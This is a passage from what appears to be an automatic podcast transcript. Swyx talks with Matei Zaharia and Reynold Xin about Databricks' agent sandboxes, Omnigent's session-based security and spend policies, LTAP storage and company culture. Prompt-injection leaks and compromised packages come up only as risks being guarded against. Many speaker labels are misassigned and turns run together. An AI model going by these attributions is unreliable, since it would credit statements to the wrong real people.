ScaleSwyx [00:15:20]: Yeah. It should be everywhere.Matei Zaharia [00:15:22]: Yeah.Swyx [00:15:22]: I think one of those things that is really interesting to me is, like, well, first of all, I'll, I'll endeavor to do everything and not call it the modern AI stack because like it needs a different name.Matei Zaharia [00:15:32]: Yeah.Swyx [00:15:32]: But like, yes, like, so one of the first people that told me about compute, sandboxing was Nikita from Neon.Swyx [00:15:39]: Because a lot of people think about Neon as like, well, it's serverless Postgres with, like, the separation of compute and storage and, instant branching and all those things. But every database company is also a compute company.Matei Zaharia [00:15:51]: Yeah. Yeah.Swyx [00:15:52]: And so he was showing to me his whole, his sandboxing solution. I don't think he have ever launched it.Matei Zaharia [00:15:57]: So our sandbox solution, the reason we could build it so quickly was because we realized if you just take the actual Lakebase architectureSwyx [00:16:05]: YeahMatei Zaharia [00:16:05]: and remove the database from it, by the coming from NeonSwyx [00:16:08]: Exactly, rightMatei Zaharia [00:16:09]: you have this sandboxSwyx [00:16:09]: Every database company has it already, yeah.Matei Zaharia [00:16:11]: Now, there are some differences. For example, in the one to support this particular workflow, it's important to have local persistence,Swyx [00:16:19]: YeahMatei Zaharia [00:16:19]: because you want your state to persist. Your libraries, you don't have to install your library every time, right?Matei Zaharia [00:16:24]: whereas the Neon architecture, because of the separation of storage from compute, you don't need persistent local disk.Swyx [00:16:30]: Yeah.Matei Zaharia [00:16:30]: So there's some differences.Swyx [00:16:32]: Yeah.Matei Zaharia [00:16:32]: But the, at the end of the day, yeah, it's, Yeah, so this is when you run, like, a coding sandbox. Like, if I use it, yeah, we have the dev env internally at Databricks. There's, like, many, like, tens of gigabytes of data just for, like, all the source code and, like, artifacts and stuff that I built, and I want that to come back next time, so.Matei Zaharia [00:16:51]: Yeah.Matei Zaharia [00:16:51]: But yeah.Matei Zaharia [00:16:52]: Before the show, we was talking about some statistics that might be surprising at the adoption.Matei Zaharia [00:16:56]: It could be internal, it could be external, whatever comes to mind, just to impress people the scale this is happening.Swyx [00:17:02]: So we, on the analytics side, I think we launchedReynold Xin [00:17:06]: Maybe 50 or 60 million virtual machines a day across all three clouds, so we're one of the biggest compute orchestrators out there.Reynold Xin [00:17:13]: Stuff for sure for CPU compute.Swyx [00:17:14]: Yeah.Matei Zaharia [00:17:14]: Yeah.Reynold Xin [00:17:15]: the. And all of this process, I think exabytes of data, I joked about depending on which time zone you are, typically before you have breakfast, Databricks would have processed exabytes of data already on that day. and on Neon, it's pretty interesting, too. It's launching, I think, 13 million databasesSwyx [00:17:34]: YeahReynold Xin [00:17:34]: a day now.Swyx [00:17:35]: Yeah, to me that was, like, aReynold Xin [00:17:36]: And that's just likeSwyx [00:17:37]: Like, what do you mean?Matei Zaharia [00:17:38]: Yeah. And that's the point.Reynold Xin [00:17:40]: And a lot of those were thanks to agent- agents and branching experimentationSwyx [00:17:44]: YeahReynold Xin [00:17:44]: because we made it so easy and so quickly, and thanks a lot to Nikita's team, to launch databases. It's, the. So it's changing the way people use databases.Swyx [00:17:54]: Yeah. Okay, we're gonna go into more database talk in a bit, but I wanna make sure we close up anything on Omnigentt. you mentioned, you were excited about the securityOmnigent Security, Contextual Policies, and Spend ControlsSwyx [00:18:03]: control side.Matei Zaharia [00:18:04]: Yeah.Swyx [00:18:04]: a lot of companies are figuring that out right now, as well as the spend side.Matei Zaharia [00:18:08]: Yep.Swyx [00:18:09]: what have you found there?Matei Zaharia [00:18:11]: Yeah, so I spent quite a bit of time talking to internal users, developers, security team, managers, and also lots of customers, and there's a few things. Like, first of all, one thing, that immediately was. became obvious is for security, there's this tension between, like, usability and security. And, the way people do. Like, a lot of coding agents today have very basic things like you can tell me which tool patterns I'll allow or disallow or whatever. It's like yes or no. But that puts you in a very tough spot. So just as an example, like, should my agent be able to read, some confidential documents, or let's say, should it be able to install new packages from npm, which, maybe it's compromised. Yes or no? Like, maybe I wanna allow it. Should my agent be able to publish stuff to the company website? Well, if I'm using it to code on the website, yes. But should it be able to do both, so it can, like grab a confidential document and be prompt injected and leak it? Probably not. So the thing we decided we need is stateful or what we call contextual policies where you keep track of the state of that session. It's not like is it allowed to push to the marketing site or not, but, like, hey, if it did a risky thing, like it installed, a old package from npm, or it read, like, 1,000 confidential docs, then no. Then don't, don't do it. Otherwise, maybe it's okay. That's one example of, like, moving that trade-off so it's both more secure and more useful by having a more powerful engine, essentially. This requires tracking sessions. The other piece that was interesting there is, like, there are these very level events it's doing, and you want some libraries on top that parse them. Like, for example, we have a, MCP server on Google Drive internally. It's got 60 API calls. like, how do I know which of those, like, will share a document with stuff on the internet and which ones won't? It's, it's annoying. So we designed in Omnigentt the policy layer so that it's functions and you can have libraries. Like, someone can make something that maps the level events to high-level ones, and then you write a policy about the high-level things that came out. so and thatSwyx [00:20:25]: This is related to the Panther,Matei Zaharia [00:20:27]: Yeah, Panther is. will help with that. PantherSwyx [00:20:30]: YeahMatei Zaharia [00:20:30]: a similar idea on the event processing side, and it's Python-based versus a weird custom language. this is more, as in realSwyx [00:20:39]: I didn't even know we were good yeah.Matei Zaharia [00:20:41]: Those things are happening, yeah.Swyx [00:20:42]: Yeah.Matei Zaharia [00:20:42]: So yeah, but these are the cool things. I think the contextual or stateful part, and then the way it can be libraries, and that was another reason to make it open source because others will write libraries and, like, we and our customers can use them. And the final thing, because it's stateful, one of the states we track is how much you spent in that session. So I can. I've had, like, I ask an agent to debug something, and it spent $500 because it decided to read a lot of log files and burn a lot of tokens. but I can literally say, “Okay, launch a agent to do this and cap it to spending $5.” Like, ask me for permission if it needs more. And because we're counting that within that session, it'll pop up and tell me, “Okay, you spent five, $5. Do you wanna go on?”Reynold Xin [00:21:27]: So important context here. Matei spent the last five years, a lot of his time was architecting Unity Catalog at DatabricksMatei Zaharia [00:21:34]: YeahReynold Xin [00:21:34]: which is the governance layer for data.Matei Zaharia [00:21:35]: That's right, yeah.Reynold Xin [00:21:36]: And he's combining expertise at that layer together with all the AI governance he knows.Matei Zaharia [00:21:41]: Yeah.Swyx [00:21:41]: DoMatei Zaharia [00:21:41]: But I also spent a lot of time being annoyed by coding agents and getting prompts.Matei Zaharia [00:21:46]: And also as theReynold Xin [00:21:48]: All the aboveMatei Zaharia [00:21:48]: I don't want to end up on the front page as, like, I installed some weird npm package and leakedSwyx [00:21:53]: YeahMatei Zaharia [00:21:53]: all the code, so I'm especially paranoid. But also I have very little time, so I don't want to sit there approving, like, do you want to run a 20-line, bash script, yes or no? so that's why I spend a lot of time figuring out, like, how can I make it as safe as possible and not annoying?Swyx [00:22:10]: Yeah. Is safety and mmm, let's call it security a bigger concern than token maxing or token budgets? which one is, likeMatei Zaharia [00:22:19]: Oh, yeah, they're both there. I don't know. I guess it depends on the type of company you are. So I think, some companies, like, the budget is, limited and, they really care about thatSwyx [00:22:34]: you can be Uber and still be concerned?Matei Zaharia [00:22:36]: Yeah. Oh, yeah, totally. Yeah. If you haveReynold Xin [00:22:38]: for us, securityMatei Zaharia [00:22:39]: YeahReynold Xin [00:22:40]: super paramount.Matei Zaharia [00:22:40]: For us, security is absolutely critical as a, cloud provider. It's, it's the most important thing, and, token maxing, we're not so worried about it yet, but I've seen the Like, for example, I talked to some consulting companies. They have, like, 100,000 employees who are all coding for customers. If those each spend, like, an extra $1,000 a month, that's, that's not fun.Swyx [00:23:04]: YeahMatei Zaharia [00:23:04]: we have, like, only a few thousand engineers.Swyx [00:23:06]: What's the policy in Databricks? Is it just unlimited or what'Matei Zaharia [00:23:08]: It's, it's unlimited, but we do. we use our own product to, like, analyze the traces and stuff, and we have a team that'looking to optimize and to see if anyone's doing something weird. And, we had some really cool insights just from analyzing current traces, like whichSwyx [00:23:24]: YeahMatei Zaharia [00:23:25]: models are better at, say, Rust versus like TypeScript or whatever. So yeah, at least in our code base.Swyx [00:23:31]: Yeah. Amazing. Obviously, I have to ask the token question, obviously.Matei Zaharia [00:23:34]: Yeah.Swyx [00:23:34]: I think it'sReynold Xin [00:23:34]: YeahSwyx [00:23:34]: it's a key thing. But yes, security and control above that, and figuring out a sane layer there you can have some autonomy, but, not too much.Matei Zaharia [00:23:43]: Yeah. Yeah, and we wanna make it super easy. As a engineer, you should set a thing. So in Omnigentt, you can ask your agent, “Set a policy on yourself to do this.” So it can likeSwyx [00:23:52]: But if there's something I should be showingMatei Zaharia [00:23:53]: YeahSwyx [00:23:53]: I don't, I don't see it on the GitHub, but,Matei Zaharia [00:23:55]: Oh, yeahSwyx [00:23:56]: there's justMatei Zaharia [00:23:56]: Well, in the docs there's something.Swyx [00:23:57]: Yeah, this is it.Matei Zaharia [00:23:58]: You can look at it later.Swyx [00:23:59]: Okay. Yeah.Matei Zaharia [00:23:59]: Just look in the docsSwyx [00:24:00]: YeahMatei Zaharia [00:24:00]: contextual policies if you wanna see.Swyx [00:24:04]: I just like to point peopleMatei Zaharia [00:24:05]: look at the built-in policies.Swyx [00:24:06]: Yeah.Reynold Xin [00:24:06]: Yeah.Swyx [00:24:06]: If you want to, follow up on this is exactly where to look, right?Reynold Xin [00:24:10]: Yeah.Matei Zaharia [00:24:10]: Yeah. yeah, and the story of these is, like, I just wrote, like, I wrote a doc with like 10 ideas for things before as you were working on them. Well, that was, like, my wish list of things people asked, and I told the team, like, “Hey, can you do like at least five of these for the launch?” And then they just got back with all of them, so.Swyx [00:24:29]: Oh, wow.Matei Zaharia [00:24:29]: so you can come up with more, but them- some of them are just meant to be examples. really you can intercept, like, any event the agent is making, and you can then either block or force it to ask the user or, like, allow, and you can update state to keepSwyx [00:24:45]: YeahMatei Zaharia [00:24:45]: track stuff.Swyx [00:24:46]: Yeah, ‘cause ultimately you're, I think of you as, like, a systems designer.Swyx [00:24:50]: You let people plug in, right? That's the wholeMatei Zaharia [00:24:51]: YeahSwyx [00:24:52]: modus operandi of what you do.Matei Zaharia [00:24:53]: Yeah.Swyx [00:24:54]: It's likeMatei Zaharia [00:24:54]: And we care a lot about also composab- like, can someone else write a library that others use, whichSwyx [00:24:59]: YeahMatei Zaharia [00:24:59]: this is meant to.Reynold Xin [00:25:00]: There's also a batteries included philosophy hereMatei Zaharia [00:25:03]: YesReynold Xin [00:25:03]: probably very similar to how you did Spark, which is you could just start using.Swyx [00:25:06]: Yeah.Matei Zaharia [00:25:06]: Yeah, that's right. It has to be good out of the box at certain things, and then you can build your own things on top that, like, we don't wanna do. But in Spark, if you just wanna like, I don't know, like read a table or do, like, a aggregation, it should be awesome at that out of the box.Building on Omnigent: Contributions, Startups, and AnalyticsSwyx [00:25:23]: Yeah. People wanna catch up on Omnigentt, they should watch your keynote.Swyx [00:25:26]: they should go through the GitHub and the docs. If they wanted to contribute, or they want to build on this ecosystem what would you call out as the most high-leverage places get involved?Matei Zaharia [00:25:36]: Yeah, do get involved in the Discord and in GitHub. Our team is there, is monitoring, and, some of the things people ask for we just built ourselves. Some of them, we're, we're collaborating with them to build it. and also tell us, likeSwyx [00:25:49]: Yeah, they're gonna be veryMatei Zaharia [00:25:49]: how you would like to use it because I think especially for developers, like, everyone wants it to work their own way, and a really good developer tool, like you have to hear the feedback on all the ways and figure out the abstractions and how to let people customize. So we'd love to hear, like, if you think, “Hey, I, I don't want it to work this way,” tell us. We really just wanna get that compatibility layer across agents and then let you do stuff on top.Swyx [00:26:14]: Yeah. is there any, in terms of like the startup side, I'm, I'm a founder.Swyx [00:26:18]: I wantMatei Zaharia [00:26:18]: YeahSwyx [00:26:18]: I see an opportunity, I wanna get in front of you. What's your request for, like, a startup that, like, I wish someoneMatei Zaharia [00:26:23]: Oh, like you wanna integrate with us?Swyx [00:26:24]: someone was working on this.Matei Zaharia [00:26:26]: Oh, for a startup?Swyx [00:26:27]: Yeah.Swyx [00:26:28]: Like, your, you got your own startup. It's doing well.Matei Zaharia [00:26:30]: Yeah.Swyx [00:26:30]: But like, if you weren't working on your own startup, what is, like, obvious that you should You advise many startups too, obviously.Matei Zaharia [00:26:37]: I do think, just as a company with a lot of engineers, like anything that helps me make sense of how people are usingSwyx [00:26:46]: SpendMatei Zaharia [00:26:46]: coding agents and,Swyx [00:26:48]: Yeah. AnalyticsMatei Zaharia [00:26:48]: spend, but also quality or like you should write, you should add this skill, or you should write this thing, or your agents are really horrible at tasks involving this service, so I go spend time. That would be nice. yeah.Swyx [00:27:00]: Yeah. The closest I've found is, this team, GitAI.Matei Zaharia [00:27:03]: Oh, cool. Yeah.Swyx [00:27:04]: They started with, like, we will just do, code and human attribution, but they're building the analytics layer on top of that.Matei Zaharia [00:27:12]: Yeah.Swyx [00:27:12]: I do think, like, there are a bunch of, like, artificial analysis is obviously,Matei Zaharia [00:27:18]: Yeah, they have their benchmarksSwyx [00:27:18]: doing super wellMatei Zaharia [00:27:19]: YeahSwyx [00:27:19]: with their stuff. so there's, there will be people. I think this is like the domain of consultants first, but then peopleMatei Zaharia [00:27:26]: YeahSwyx [00:27:26]: will build software that, let's say, it's kinda like the management planeMatei Zaharia [00:27:29]: YeahSwyx [00:27:30]: for coding agents.Matei Zaharia [00:27:30]: Yeah, I think there'll be a lot of insights there. You have it in other areas.Swyx [00:27:34]: Okay. Well, and then the other, big thing is your dream engine.LTAP: Lake Transactional/Analytical ProcessingSwyx [00:27:39]: maybe you wanna tell the story of, LTAP.Reynold Xin [00:27:45]: So, and background with. I'm, I'm gonna make people listen to our Ankur Goyal episode where we talked about SingleStore, HTAPMatei Zaharia [00:27:52]: YeahReynold Xin [00:27:52]: and all that history.Matei Zaharia [00:27:52]: Yeah. The LTAP idea is pretty simple. so if people have heard of the, Ankur's, talk about HTAP, it's effectively the world of databases. Sorry, there's like maybe a lot of context needs to be injected here. The world of databasesSwyx [00:28:06]: I am happy to be the database podcast that I'm forcing people to, like, learn your databases, guys.Swyx [00:28:11]: You cannot vibe code with just markdown files.Reynold Xin [00:28:13]: Yeah.Swyx [00:28:13]: Like,Reynold Xin [00:28:14]: It's one of the most important fundamental systems technologies out there. But the world of database effectively split into roughly two halves. There's what we call OLTP databases, which are transactional, and think of your Postgres, your MySQL, your Oracle databases, and the other side is what we call analytics, and sometime might refer to term OLAP. And the difference is on OLTP, you typically have maybe run some transaction on some event that looks up at one specific row. We update that row, right? It's a very oriented data structure. And on analytics, you're trying to reason on the data. You're trying to compute, “Hey, what's my revenue per store? What's my. How's my website doing every day?” And then you, eventually want to probably end up running anal- machine learning on it to predict, “Hey, how will my maybe sales be going in the future?” they are so very different architecture, and everybody start with OLTP databases. Every app, when you become serious enough, that needs more than markdown files, you need to have a database. You want to lose your data, you want to have some transactional consistency. But once you want to reason on the data, if you only have like- A hundred rows, it's probably okay to run it on your Postgres or your own, your MySQL database. But once you have more data and want to run more complicated analysis, the very analysis might crush your Postgres database. So you start doing, getting data out of the OLTP databaseSwyx [00:29:35]: Replication.Reynold Xin [00:29:36]: Replicate them into the analytic systems and just startSwyx [00:29:39]: Yeah, which for people, Elasticsearch is, like, aReynold Xin [00:29:42]: Yeah. So some of them get into Elasticsearch for, like, blocked analysis. A lot of our customers obviously get into Databricks to run more sophisticated things.Swyx [00:29:51]: Yeah.Reynold Xin [00:29:51]: And there's this term called CDC, whichMatei Zaharia [00:29:54]: Change data captureReynold Xin [00:29:55]: change data capture. and what it does, it reads the binlog of the database, and if you don't understand what binlog is, it's fine. The, but it's a little delta of the data, and it reconstructs based on the delta, the state of the database, on the analytics side. But CDC is, like, a very painful thing. It's how standard in the industry, everybody uses it, but, it ends up being. I think many data engineers ends up being waken up at, like, 3:00 a.m, because there's some pipeline thing.Swyx [00:30:22]: my explanation is, like, Airbyte is like a, became a $5 billion company just doing CDC.Reynold Xin [00:30:27]: Yeah, exactly.Reynold Xin [00:30:28]: CDC is, like, a veryMatei Zaharia [00:30:30]: It's hard.Reynold Xin [00:30:30]: It's one of the most boring but one of the most fundamental operations, like, powering modern society.Matei Zaharia [00:30:37]: huh.Reynold Xin [00:30:37]: But it's so brittle that, we joke that it's, should be called continuous data corruption, because you might change your schema on your OLTP database, and then the CDC pipeline fails to handleSwyx [00:30:48]: YeahReynold Xin [00:30:48]: the schema change.Swyx [00:30:49]: Yeah.Reynold Xin [00:30:49]: And then everything goes out.Swyx [00:30:51]: And there's all sorts of tricks that you can do, like, you add in, like, some versioning or whatever, but yeah.Reynold Xin [00:30:55]: Yeah, but it's a very, in general, very complicated. Like, I think at my keynote, I asked the audience put up their hand if they love their CDC pipeline. Only, like, maybe two people put it up. So if single store, like, about maybe a decade ago, I think the industry had this idea, hey, what if I built a single database that can handle both workloads? Now I don't.Swyx [00:31:12]: Which, like, by the way, every database person ever has ever always dreamed about this.Reynold Xin [00:31:15]: Yes. Yes.Reynold Xin [00:31:16]: This is the holy grail of database engineering is why not build a single system that can do both of this? But it ends up just being a lot of compromises. one, I think one of the first issue is that, hey, each. they say Postgres has a massive ecosystem, right? You want to be using the tools that's built for Postgres. And Spark, for example, had a massive ecosystem. There's a lot of libraries you want to use. If you were to create now a new thing, you don't have a ecosystem. You tend to create a new, smaller proprietary API, and you're lacking both, and it's also very difficult to make it performance-wise to be, comparable on either side. So it ends up being sucking on both. And our whole idea of LTAP, it's obviously a wordplay on the term HTAP, is that we think this is HTAP done right. HTAP wants to build a single engine for both. We think you can get 99% of what you need by unifying the storage, and just have a single storage layer. And once you have the single storage layer, if your Postgres databases are writing data in a column-oriented format, everything analytics can just go read that data directly without any delay, right? There's no pipeline in between, so all the data will immediately be available for reasoning analytics. I think I was telling some customers earlier, hey, when we talked about this is gonna be super useful for agents, I at first didn't really believe in it myself, even though we wrote that positioning.Lakebase, Agents, and Live Operational DataMatei Zaharia [00:32:39]: Yeah.Reynold Xin [00:32:40]: But then last night I was having dinner with a Australian customer, and they told me, “Oh, hey, one of the big issue we have is we have all these logs from our services, and we see SLA dips and want to investigate. But then there's no way for those agents to even understand what's going on in the actual databases themselves. All we see is just, like, product telemetry of the database and the services.” It would make those agents 10 times more powerful if understand, for example, who's placing those orders, what is happening, what exactly are they doing. So now I'm sold on our own message.Swyx [00:33:13]: Yeah.Reynold Xin [00:33:14]: I think it's really. It gets you the almost all of the benefits of the HTAP holy grail, which is, hey, make the data available immediately for reasoning analyticsSwyx [00:33:26]: Yeah, I think,Reynold Xin [00:33:27]: without compromiseSwyx [00:33:28]: in the way that humans are generally intelligent and want to have the ability and access to query anythingReynold Xin [00:33:34]: YeahSwyx [00:33:35]: while they do the work, they also need history and need context.Swyx [00:33:38]: And, like, where else does they get context? That's it's an analytical workload.Reynold Xin [00:33:41]: Exactly.Matei Zaharia [00:33:42]: Yeah. Yeah. And I remember when we had incidents with our databases and engineers said, “Well, I can't just run a giant query on it to see what's going on because that's gonna bring down the database and hoard it even more.” Like, that's the stuff that this gets rid of, because you spin up a whole separate fleet of machines that's doing the analytics. You're not overloading, like, the main databaseReynold Xin [00:34:02]: RightMatei Zaharia [00:34:02]: that's still trying to serve stuff.Reynold Xin [00:34:04]: Yeah.Matei Zaharia [00:34:04]: Yeah.Why LTAP Works Now: Parquet, Postgres, and LakebaseSwyx [00:34:05]: So this has been a dream for a while. what had to get done in order to get to today? Like,Reynold Xin [00:34:11]: Yeah.Swyx [00:34:11]: I feel like, you have announced variants of this several times, but it wasn't as clear as LTAP.Reynold Xin [00:34:18]: Yeah.Swyx [00:34:18]: I think LTAP is like Like, okay, we've got it, guys.Matei Zaharia [00:34:21]: This thing, yeah.Reynold Xin [00:34:21]: I was talking to somebody at Meta, and then he was asking me, “Hey, what's the catch? Why is it possible now?” And I think the reality is we took a lot of time to work on the Lakebase architecture. obviously a lot of it came from the Neon team, which is a separation of storage from compute. And it turned out it was just a tiny little step away going from that to this LTAP idea, which is, hey, we just. in the Neon architecture and in Lakebase architecture, we're writing data in oriented format to the open data lake, but in there we're writing in Postgres pages. Ali and I were spending a lot of time debating, hey, can we just change that to write in column-oriented format? And we're just debating, and one day, one of our engineers who's, like, super smart came in, he's like, “Hey, I just prototyped it. It works.”Swyx [00:35:07]: Wait, it's, prototype what?Reynold Xin [00:35:09]: Prototype, instead of storing the data in the data lake in the oriented formatSwyx [00:35:15]: ColumnReynold Xin [00:35:15]: like Postgres pagesSwyx [00:35:15]: YeahReynold Xin [00:35:16]: write them in Parquet.Swyx [00:35:17]: Yeah.Reynold Xin [00:35:18]: and he just made the observation that, hey, our storage fleet has a lot of extra idle CPUs And we could use those CPUs to do the transcoding from row to column, where row is good for OLTP, but column is good for analytics. so let's do that transcoding at that time. And as a matter of fact, once you transcode the data compresses better. So from those services writing to, for example, S3 or other data lake, like object stores, you can write them faster ‘cause now they are now smaller.Matei Zaharia [00:35:49]: Yeah.Reynold Xin [00:35:49]: So there's no overhead, it's no compromise in performanceMatei Zaharia [00:35:52]: Some CPU overhead.Swyx [00:35:54]: Yeah, because,Matei Zaharia [00:35:55]: YeahSwyx [00:35:55]: we had extra CPUs anyway.Matei Zaharia [00:35:56]: We had that fleet anyway, yeah.Swyx [00:35:57]: so the debate ended. it's one of the classics of, tech, issue of a lot of debate, but then somebody went ahead and just tried to prototype it and it worked.Matei Zaharia [00:36:06]: But, like, something this strategicSwyx [00:36:07]: That's rightMatei Zaharia [00:36:07]: and important to the company, I expect there to be, like, a kickoff thing, like a design doc. Nothing like that.Swyx [00:36:13]: Nothing like that.Swyx [00:36:14]: He just. We were debating in many meetingsMatei Zaharia [00:36:17]: Yeah.Swyx [00:36:17]: and then we're just debating whether it's possible or not from first principle.Matei Zaharia [00:36:20]: YeahSwyx [00:36:20]: and then, somebody just did it.Matei Zaharia [00:36:23]: Yeah, if you set yourself up so people do that'll be great. And that happened a bit with Omnigentt too. I think if I just had a doc on, like, we can make these together, everyone would, would think, “Oh, what about this? What about this?” But then you. if you try it out, it helps. And then if you have real users and they bash it and, like, it's still working, or in this case, if you have the workload, what the workload looks like, you can just test the same pattern then.Databricks' Culture of Fast PrototypingSwyx [00:36:47]: Yeah.Matei Zaharia [00:36:47]: Yeah.Swyx [00:36:47]: Tech aside, which is very cool, this is, like, the most important thing, the culture of innovation, and you don't have to ask my permission, you don't have like, do a whole form- formal process, just do it?Matei Zaharia [00:36:59]: Well, especially these days, I think withSwyx [00:37:01]: YeahMatei Zaharia [00:37:01]: AI, it's easier to buildSwyx [00:37:02]: But so, likeMatei Zaharia [00:37:03]: a prototypeSwyx [00:37:03]: I think you are very I made a lot of suite of, like, large companies and, like, I think that at scale, things slow down, and I'm sure you felt it already, but somehow you have this core of people that, like, are exempt. How? I think we hire and we work with really good people, and that's a very important part of it, and empowering them, but also spending a lot of time, maybe us in the trenches matter a lot also.Matei Zaharia [00:37:28]: Yeah, I think, I think first, people can adapt to being in the larger company, so that helps. And we wanna make sure they know that they can try stuff and settle debates and have a lot of examples of how it was done before, or launch a thing in beta or whatever. and then the other thing I do think as a company, like despite the size, we don't launch that many, like, products. We try to keep it pretty coherent. That's, that was the whole, like, theory of the company, was like instead of having, like, 20 Amazon services you need to set up, like a analytics and machine learning stack, you just have one, and it's, like, the same API, the same semantics across all of them, the same copy of the data. So that requires, like, unification. And then we added one more thing at a time. Like, we added storage with Delta Lake. We didn't used to do any storage. Then we added SQL, we added, machine learning platform stuff. So, but yeah, don't, don't do too many, but do those things well and, that also helps, it helps keep it manageable.Reynold Xin [00:38:33]: Yeah. The other thing we encourage a lot is instead of building, boil the ocean for everything, let's figure out how do we do it incrementally, how do we do it very quickly. Like, many of our productsMatei Zaharia [00:38:43]: YeahReynold Xin [00:38:43]: they're built in the span of weeks, and then we go to, hey. Like, usually my first question to whoever team is building is who's the target customer? Who are you working with? Are you on a first-name basis with them? Are you texting with them? I think having that very tight loop,Matei Zaharia [00:38:59]: Can you bring up another launch that comes to mind when, in this thing? I just want to give examples.Reynold Xin [00:39:04]: Omnigentt itself happened that way.Reynold Xin [00:39:05]: Yeah.Matei Zaharia [00:39:06]: Who's the customer? That's a good oneReynold Xin [00:39:34]: storage layer we did. we had, our largest customer at the time said like, “Okay, I need some. I want something in the cloud ‘cause, I. if the rest of our network is compromised, like this thing needs to be separate to store and query the events.” And then, talked to us, he said, “Okay, this is the rate of events per second. This is, like, the freshness I want. Can you do it?” So that was, like, way larger than any workload we had, and we had our, engineer, working on that, Michael Armbrust, and he worked just to make this work. And once it worked for them, it worked for everyone else. Yeah. This was early in the company, probably like four years in or something.Matei Zaharia [00:40:24]: 20- 2018?Swyx [00:40:26]: Yeah, ‘17, ‘18.Matei Zaharia [00:40:28]: Few companiesSwyx [00:40:28]: Do you have other examples?Matei Zaharia [00:40:30]: there'Swyx [00:40:31]: Maybe you have othersMatei Zaharia [00:40:31]: yeah, Clean Room, which is how you share data in a way without sharingSwyx [00:40:35]: YeahMatei Zaharia [00:40:35]: underlying data, but you allow specific operations. Those were done effectively initially just for two customers. I think the industry has a sense of, hey, maybe if you overfit to, like, one or two customers, it's gonna be really bad for you. But I think the, downside of overfitting is much smaller than the upside itself. And if you try to be too ambitious and boil the ocean, it's a much bigger problem.Swyx [00:40:58]: Yeah. Yeah.Matei Zaharia [00:40:58]: ‘Cause you might end up having no customer.Swyx [00:41:00]: Yeah, that's more, that's the more likely outcome.Matei Zaharia [00:41:02]: Yeah.Tech Companies vs. EnterprisesSwyx [00:41:03]: than you can pivot from there. I do think there is such a thing as a bad customer that sometimes you should fire. Yeah.Matei Zaharia [00:41:08]: They could exist sometimes if you drive. well, one of the challenge I think we probably see, and maybe many AI, so newer generation companies are seeing is, so tech companies are very different from tech companies or traditional enterprises.Swyx [00:41:22]: Yeah.Matei Zaharia [00:41:22]: And, if you optimize everything just for tech companies, you might have various challengesSwyx [00:41:27]: OhMatei Zaharia [00:41:27]: scaling them outside of tech companies.Swyx [00:41:28]: Okay, what likeMatei Zaharia [00:41:30]: YeahSwyx [00:41:30]: what like top three differences that you always think about?Reynold Xin [00:41:33]: Governance is a big oneMatei Zaharia [00:41:34]: I think, yeah, a big one is like, yeah, security, data privacy, governance, all that stuff. So usually if you're building some kinda like B2B or developer tool, like your biggest market is gonna be enterprises, but it's just very different. A company that's existed for like, it's had some form of IT for like 30 years, they have so many legacy systems or they operate in a regulated space. whereas a startup or, even like a, like sorta more recent tech company, all the. everything is new and pristine. So yeah, it's just different, and if you've never worked with enterprises or been in one, you just won't know about it.Reynold Xin [00:42:13]: Yeah.Matei Zaharia [00:42:13]: Yeah.Reynold Xin [00:42:13]: And the procurement process is probably quite different. There's far more stakeholders.Matei Zaharia [00:42:17]: Yeah, that is one. Yeah.Matei Zaharia [00:42:18]: Another piece that's interesting is I think some tech companies, people, will say, “Oh, I can build that myself,” right? I'll just build that myself.Matei Zaharia [00:42:27]: So then you go,Reynold Xin [00:42:28]: I don't think people say that about Databricks, butMatei Zaharia [00:42:31]: yeah, it dependsReynold Xin [00:42:32]: They do.Matei Zaharia [00:42:32]: They do?Matei Zaharia [00:42:32]: Yeah, the. Yeah, and it depends on the teams and things. So, but, on the other hand, like many of the enterprises say, “I don't, I never wanna be in the business of building that.” Like, I don't want my, whatever, I'm a retailer or something, I never wannaReynold Xin [00:42:45]: Yeah, sell clothes,Matei Zaharia [00:42:46]: be down because like some weird like nerd like couldn't get streaming pipelines working.Matei Zaharia [00:42:51]: That is not what I'm doing.Reynold Xin [00:42:53]: Yeah.Reynold Xin [00:42:53]: Yeah. This makes them great customers, to be honest, right?Matei Zaharia [00:42:55]: Yeah. But you have to understand that it's hard without having worked there and stuff, like you may not appreciate.Reynold Xin [00:43:01]: Look, I think they're all great. don't get me wrong, they have different challenges. But the, many of the tech companies, for sure there's a lot, far more DIY.Matei Zaharia [00:43:10]: On the flip side, you have people who are. they're very much experts in their domain, like they're building airplanes, they're, designing medicines, whatever, and they just want to bridge the technology, where like they don't wanna learn, databases or whatever. As cool as we think it is, even as interesting as the average software engineer might think it is to read a little bit, like they just never wanna know. They just say, “I have a, giant like, matrix or whatever with my, clinical data, like how do I, how do I like cluster it or whatever?” So yeah.The Dream Engine and Rewriting the Database StackReynold Xin [00:43:40]: Yeah. That's true. Okay, so and then I wanted to build out the dream engine, vision. where does this all lead? So one of the thing we, realized maybe a couple years back is that every single database engine out there, especially on the analytics side, are a decade old. pretty much everything that have reasonable traction are about a decade old. And they all started targeting some very specific narrow use cases, and then over time it's become more and more successful. They have grown in their ambition, and then they try to support more and more use cases. But the fastest way to support those use cases tend to be hacked around the abstractions that were initially created, that were not for those use cases.Matei Zaharia [00:44:23]: Yeah.Reynold Xin [00:44:23]: And then, but you can support them more or less okay. And before it, after 10 years of organic evolution that way, it becomes a gigantic pile of s**t.Reynold Xin [00:44:31]: the. And, but that includes Databricks. And very few company or very few systems, I think, have the gut to say, let's go start from scratch. Let's go back to the drawing board and design, knowing everything we know today after a decade of workloads and probably billions in revenue, let's attempt to rewrite it from scratch and make sure it will work and it can support all of these use cases. So we started doing that, but it's a very ambitious project. by the way, you can search on Wikipedia, there's this thing called second system syndrome.Matei Zaharia [00:45:08]: Yeah, I know that. Yes.Reynold Xin [00:45:09]: Or second system effect.Matei Zaharia [00:45:11]: Every developer must know what a second syndrome is.Reynold Xin [00:45:12]: It's you built your first thing and it works out great, and the second one's bound to fail because you become too ambitious.Reynold Xin [00:45:19]: And then you ask so many requirements.Matei Zaharia [00:45:20]: Or like you think everythingReynold Xin [00:45:21]: YeahMatei Zaharia [00:45:21]: and then you're likeReynold Xin [00:45:22]: You justMatei Zaharia [00:45:22]: you're, “I'm gonna design the perfect system this time.”Reynold Xin [00:45:24]: Yeah. And it turned out it's not perfect, and then it start failing and you're too ambitious, never launch, and you get killed. The, and the engineering team that started this, they were brilliant. I think we hired some of the best database engineers, on the planet into Databricks, and they were brilliant. Thank God it's not their second system. Many of them have built more than two in the past.Matei Zaharia [00:45:44]: Ah, nice.Reynold Xin [00:45:45]: But they were still worried about this, hey, building a database engine from scratch, I think the conventional wisdom is gonna take like five years to mature. This would be a very long-term project. It could fail. I think one of the engineers jokingly said, 